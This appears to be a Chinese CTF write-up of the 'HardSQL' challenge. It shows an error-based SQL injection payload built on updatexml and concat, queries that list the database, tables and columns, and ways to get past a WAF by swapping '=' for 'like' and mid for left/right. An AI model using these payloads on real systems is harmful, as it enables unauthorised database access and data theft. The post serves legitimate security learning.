• 刷题[极客大挑战 2019]HardSQL


    解题思路

    打开是一个登陆框,考点sql注入了,先正常尝试一波

    发现居然是get类型

    输入and发现有waf过滤,那fuzz一波看看过滤了什么

    fuzz

    union被过滤,并且绕过union的几种方法同样被过滤

    报错注入

    有报错,尝试下是否报错注入

    payload:1'and (updatexml(1,concat(0x7e,(payload),0x7e),1));

    爆数据库:select database()
    爆表名:select table_name from information_schema.tables where table_schema='数据库名'
    爆列名:select column_name from information_schema.columns where table_name='表名'
    爆字段:select flag from 数据库.表名

    因为这里等于号被过滤,所以用like替换等于号

    爆出数据库名geek

    爆出表名H4rDsq1

    爆出列名id,username,password

    爆出部分password,即flag值

    需要注意的是:
    xpath报错只显示32位结果,需要借助mid函数来进行字符截取从而显示32位以后的数据。
    mid((select group_concat(flag) from flag),32)

    但很不幸的是,这里mid函数被禁了。但是用left,right拼接,思路一样

    总结思路

    常规的报错注入,根据payload打就行了,唯一注意的是xpath报错只显示32位结果,需要借助其他函数截取显示

    知识点

    • sql注入
    • 报错注入
  • 相关阅读:
    情商 EQ & 儿童情商
    如何提高情商 转载
    cs108 03 ( 调试, java通用性)
    java 包 和 物理目录 解惑
    Toad 补充与培训 & 常用菜单
    专题实验 日期类型
    Http Response Code
    Java之 将程序打包成jar包
    Java之网络编程笔记
    java之IO
  • 原文地址:https://www.cnblogs.com/karsa/p/13431337.html
Copyright © 2020-2023  润新知